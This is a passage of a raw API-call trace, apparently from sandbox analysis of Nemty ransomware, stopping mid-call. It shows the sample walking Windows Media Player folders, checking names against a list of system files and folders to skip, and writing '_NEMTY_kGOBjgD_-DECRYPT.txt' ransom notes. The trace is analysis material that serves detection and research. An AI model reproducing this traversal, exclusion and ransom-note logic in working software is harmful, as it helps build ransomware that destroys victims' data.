hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.091] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c5d3f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf0c5d3f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c5d3f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0104.091] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0104.092] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0104.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0104.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0104.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0104.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.093] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c5d3f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf0c5d3f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c5d3f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0104.093] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0104.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0104.093] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Icons", cAlternateFileName="")) returned 1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2=".") returned 1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="..") returned 1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="...") returned 1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="windows") returned -1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="$RECYCLE.BIN") returned 1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="rsa") returned -1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="NTDETECT.COM") returned -1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="ntldr") returned -1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="MSDOS.SYS") returned -1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="IO.SYS") returned -1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="boot.ini") returned 1 [0104.093] lstrcmpiW (lpString1="Icons", lpString2="boot.ini") returned 1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="AUTOEXEC.BAT") returned 1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="ntuser.dat") returned -1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="desktop.ini") returned 1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="CONFIG.SYS") returned 1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="RECYCLER") returned -1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="BOOTSECT.BAK") returned 1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="bootmgr") returned 1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="programdata") returned -1 [0104.094] lstrcmpiW (lpString1="Icons", lpString2="appdata") returned 1 [0104.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Icons", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0104.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Icons", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Icons", lpUsedDefaultChar=0x0) returned 5 [0104.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Icons", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0104.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Icons", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Icons", lpUsedDefaultChar=0x0) returned 5 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0104.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0104.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0104.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0104.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0104.094] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\icons\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0104.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0) returned 0 [0104.095] CloseHandle (hObject=0xffffffff) returned 0 [0104.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0104.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0104.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0104.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0104.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0104.096] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\icons\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0104.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0) returned 0 [0104.096] CloseHandle (hObject=0xffffffff) returned 0 [0104.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0104.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0104.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0104.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0104.098] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0104.098] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0104.098] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0104.099] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0104.099] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 0 [0104.099] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0104.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0104.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0104.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0104.099] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2=".") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="..") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="...") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="windows") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="$RECYCLE.BIN") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="rsa") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="NTDETECT.COM") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="ntldr") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="MSDOS.SYS") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="IO.SYS") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="boot.ini") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="boot.ini") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="AUTOEXEC.BAT") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="ntuser.dat") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="desktop.ini") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="CONFIG.SYS") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="RECYCLER") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="BOOTSECT.BAK") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="bootmgr") returned 1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="programdata") returned -1 [0104.099] lstrcmpiW (lpString1="Media Renderer", lpString2="appdata") returned 1 [0104.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Media Renderer", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0104.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Media Renderer", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Media Renderer", lpUsedDefaultChar=0x0) returned 14 [0104.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Media Renderer", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0104.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Media Renderer", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Media Renderer", lpUsedDefaultChar=0x0) returned 14 [0104.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94158 [0104.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0104.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0104.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.100] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\media renderer\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0104.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.102] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.102] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0104.103] CloseHandle (hObject=0x3c4) returned 1 [0104.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0104.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0104.103] RtlAllocateHeap 